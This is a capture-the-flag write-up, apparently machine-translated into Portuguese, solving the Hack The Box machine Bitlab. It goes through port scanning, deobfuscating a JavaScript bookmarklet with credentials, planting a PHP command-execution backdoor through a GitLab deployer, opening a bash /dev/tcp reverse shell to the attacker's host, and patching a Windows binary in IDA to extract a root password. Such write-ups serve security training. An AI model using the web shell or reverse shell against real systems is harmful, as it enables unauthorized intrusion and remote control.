Passo a passo do Hack The Box - Bitlab. Fraca ofuscação de JS, GIT e aplicativos reversos do Windows

imagem

Neste artigo, começarei a publicar soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, trataremos de um pouco de ofuscação do JavaScript, carregaremos a backdoor através do repositório Git e depuraremos o aplicativo 32.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Inteligência


Verificação de porta


Esta máquina possui um endereço IP 10.10.10.114, que eu adiciono ao / etc / hosts.
10.10.10.114 bitlab.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

imagem

Em seguida, você precisa coletar mais informações sobre as portas que conhecemos.
nmap -A bitlab.htb -p22,80

imagem

Como segue no relatório nmap, o SSH e um servidor da web estão em execução no host. E no servidor web há robots.txt. Após examinar os diretórios desta lista, notamos que o gitlab está funcionando e existe um diretório de ajuda não indexado.

imagem

Indo para a página de favoritos, temos vários links.

imagem

Js


Todos apontam para o site de um produto, exceto o último, que não contém um endereço, mas um código JS.

imagem

O que esse código ofuscou.
 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

Para obter um código mais legível, você pode usar o seguinte site .

imagem

Após um pequeno refinamento do código, obtemos as seguintes instruções.
 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x"; 

Git


Com esses dados de autenticação, estamos autorizados no gitlab. Lá encontramos dois perfis.

imagem

Você também pode encontrar um projeto no qual há uma conexão com o banco de dados, no código eu tenho todos os dados para conectar.

imagem

Verificando o perfil, não encontramos nada de interessante.

imagem

O implantador possui apenas código php.

imagem

A partir desse código, fica claro que, se colocarmos um arquivo no perfil, ele será implantado no servidor.

Ponto de entrada


Precisamos colocar um backdoor php. Por exemplo, um que receberá e executará comandos.
 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?> 

Para isso, abra o Perfil e crie um novo arquivo.

imagem

imagem

E depois de adicionar o nosso arquivo aparecerá no repositório.

imagem

Agora estamos testando o backdoor.

imagem

Agora temos uma concha completa.
 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1 

imagem

E vemos a conexão reversa com o nosso host.

imagem

USER


Uma vez no host, é imperativo verificar os dados adquiridos anteriormente. Estes são os dados para acessar o banco de dados.

Abrindo o interpretador PHP interativamente. Usamos o código encontrado e examinamos os dados encontrados. Senha do usuário em base64, decodifique-a.

imagem

Então, descobrimos a senha, que aparentemente pode se conectar via SSH. Mas isso não deu certo, já que base64 é a senha)).

imagem

ROOT


Olhando ao redor do carro, encontramos um arquivo exe no diretório inicial do usuário.

imagem

Copiamos para o nosso host para análise.
 scp clave@10.10.10.114:~/RemoteConnection.exe . 

Em seguida, abra o arquivo no IDA Pro. Percorrendo a função principal main, você pode encontrar uma comparação da variável com o nome de usuário e criar um processo com putty - um programa para conexões de rede.

imagem

Podemos assumir que a conexão ocorre com o fornecimento de dados de autenticação e precisamos encontrá-los. Os dados de conexão serão transmitidos como um parâmetro, ou seja, variável v3.

Você pode ver a linha finalizada durante a depuração, mas no IDA o arquivo de 32 bits falha. Ao depurar passo a passo, entendemos que isso acontece depois de chamar GetUserNameW. Nós procedemos da seguinte maneira.

Coloque BP no fragmento de comparação de nomes.

imagem

Agora colocamos o BP antes de carregar os parâmetros para a função GetUserNameW.

imagem

Execute o programa no depurador. A depuração será interrompida antes de chamar a função que precisamos.

imagem

Agora remende o código. Em vez de carregar parâmetros e chamar a função, você precisa colocar a instrução NOP. Eu uso o plugin Keypatch para isso.

imagem

Agora o código fica assim.

imagem

Vamos continuar depurando o programa para que ele pare na comparação do nome. Nesse ponto, o endereço da sequência de parâmetros já estará carregado no registro EAX para ser passado como o parâmetro ShellExecuteW.

imagem

Agora clique na seta (pule na desmontagem) ao lado do registro EAX. Isso permitirá que você acesse o endereço do EAX na janela principal do IDA.

imagem

Este endereço contém a sequência de parâmetros. Como você pode ver, ele contém o texto simetricamente correto "-ssh root ...". Mas cada caractere é representado por 2 bytes. Para coletar convenientemente a sequência, pressione Alt + A.

imagem

E nessa janela, selecione Estilo Unicode C (16 bits). Então observamos a corda montada corretamente.

imagem

Esta linha contém a senha root. Nós nos conectamos via ssh e pegamos o token.

imagem

Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.

Source: https://habr.com/ru/post/pt483646/


All Articles